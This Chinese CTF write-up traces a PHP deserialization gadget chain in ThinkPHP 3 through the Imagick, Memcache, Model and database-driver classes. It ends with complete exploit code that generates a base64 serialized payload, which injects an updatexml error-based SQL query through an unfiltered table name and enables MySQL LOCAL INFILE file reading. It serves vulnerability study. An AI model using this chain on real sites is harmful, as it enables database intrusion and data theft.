菜鸡在做CTF的时候想深入分析一下,也就产生了这篇文章
首先我们从__destruct
方法入手
其他的都是啥如ftp_close
之类的没法有效利用,但是在ThinkPHP/Library/Think/Image/Driver/Imagick.class.php
找到
public function __destruct() {
empty($this->img) || $this->img->destroy();
}
并且参数可控,搜索destroy
方法,也是基本上没啥其他点直接只有一个在ThinkPHP/Library/Think/Session/Driver/Memcache.class.php
中,找到了
public function destroy($sessID) {
return $this->handle->delete($this->sessionName.$sessID);
}
这里其实版本利用有限制,在在PHP7下起的ThinkPHP框架在调用有参函数时不传参数会触发框架里的错误处理,从而报错,网上看到的当时排bug排了很久都没发现,最后切换php5,$this->handle
也可控
继续全局搜索后发现在ThinkPHP/Mode/Lite/Model.class.php
中
public function delete($options=array()) {
$pk = $this->getPk();
if(empty($options) && empty($this->options['where'])) {
// 如果删除条件为空 则删除当前数据对象所对应的记录
if(!empty($this->data) && isset($this->data[$pk]))
return $this->delete($this->data[$pk]);
else
return false;
}
if(is_numeric($options) || is_string($options)) {
// 根据主键删除记录
if(strpos($options,',')) {
$where[$pk] = array('IN', $options);
}else{
$where[$pk] = $options;
}
$options = array();
$options['where'] = $where;
}
// 根据复合主键删除记录
if (is_array($options) && (count($options) > 0) && is_array($pk)) {
$count = 0;
foreach (array_keys($options) as $key) {
if (is_int($key)) $count++;
}
if ($count == count($pk)) {
$i = 0;
foreach ($pk as $field) {
$where[$field] = $options[$i];
unset($options[$i++]);
}
$options['where'] = $where;
} else {
return false;
}
}
// 分析表达式
$options = $this->_parseOptions($options);
if(empty($options['where'])){
// 如果条件为空 不进行删除操作 除非设置 1=1
return false;
}
if(is_array($options['where']) && isset($options['where'][$pk])){
$pkValue = $options['where'][$pk];
}
if(false === $this->_before_delete($options)) {
return false;
}
$result = $this->db->delete($options);
if(false !== $result && is_numeric($result)) {
$data = array();
if(isset($pkValue)) $data[$pk] = $pkValue;
$this->_after_delete($data,$options);
}
// 返回删除记录个数
return $result;
}
代码看多了一看就懂了,首先getPk获取主键,之后我们的利用是想进入if中执行delete方法,
if(empty($options) && empty($this->options['where'])) {
// 如果删除条件为空 则删除当前数据对象所对应的记录
if(!empty($this->data) && isset($this->data[$pk]))
return $this->delete($this->data[$pk]);
else
return false;
}
根据调试,这里会去调用到数据库驱动类中的delete()
中去,而不是当前文件当中的delete()方法,即ThinkPHP/Library/Think/Db/Driver.class.php
public function delete($options=array()) {
$this->model = $options['model'];
$this->parseBind(!empty($options['bind'])?$options['bind']:array());
$table = $this->parseTable($options['table']);
$sql = 'DELETE FROM '.$table;
if(strpos($table,',')){
// 多表删除支持USING和JOIN操作
if(!empty($options['using'])){
$sql .= ' USING '.$this->parseTable($options['using']).' ';
}
$sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');
}
$sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
if(!strpos($table,',')){
// 单表删除支持order和limit
$sql .= $this->parseOrder(!empty($options['order'])?$options['order']:'')
.$this->parseLimit(!empty($options['limit'])?$options['limit']:'');
}
$sql .= $this->parseComment(!empty($options['comment'])?$options['comment']:'');
return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
}
我们可以发现在这里的table
没有过滤直接拼接了,不信的话我们可以分析分析,首先调用parseTable
protected function parseTable($tables) {
if(is_array($tables)) {
// 支持别名定义
$array = array();
foreach ($tables as $table=>$alias){
if(!is_numeric($table))
$array[] = $this->parseKey($table).' '.$this->parseKey($alias);
else
$array[] = $this->parseKey($alias);
}
$tables = $array;
}elseif(is_string($tables)){
$tables = explode(',',$tables);
array_walk($tables, array(&$this, 'parseKey'));
}
return implode(',',$tables);
}
他会对其中的数据执行parseKey方法,这个方法直接返回数据无其他处理
protected function parseKey(&$key) {
return $key;
}
因此便得到了完整的pop链思路,接下来就是构造
首先是__destruct
,我们需要调用Memcache
的destroy
方法
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
接下来$this->handle
指向Model类
去调用delete
方法,并精心构造我们的sql语句
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;
public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "username where 1=updatexml(1,user(),1)#",
"where" => "1=1"
);
}
}
注意我们需要去初始化数据库的连接,这里我们使用默认的在Think\Db\Driver\Mysq
下的Mysql,发现继承了Driver
类,
跟进一看,能得到这里建立了PDO配置建立数据库连接
因此我们只需要在Mysql下配置好数据库配置即可
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启后才可读取文件
);
protected $config = array(
"debug" => 1,
"database" => "test",
"hostname" => "127.0.0.1",
"hostport" => "3306",
"charset" => "utf8",
"username" => "testtest",
"password" => "testtest"
);
}
最终我们得到了完整的利用链
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启才能读取文件
);
protected $config = array(
"debug" => 1,
"database" => "thinkphp3",
"hostname" => "127.0.0.1",
"hostport" => "3306",
"charset" => "utf8",
"username" => "root",
"password" => ""
);
}
}
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;
public function __construct(){
$this->handle = new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;
public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "mysql.user where 1=updatexml(1,user(),1)#",
"where" => "1=1"
);
}
}
}
namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}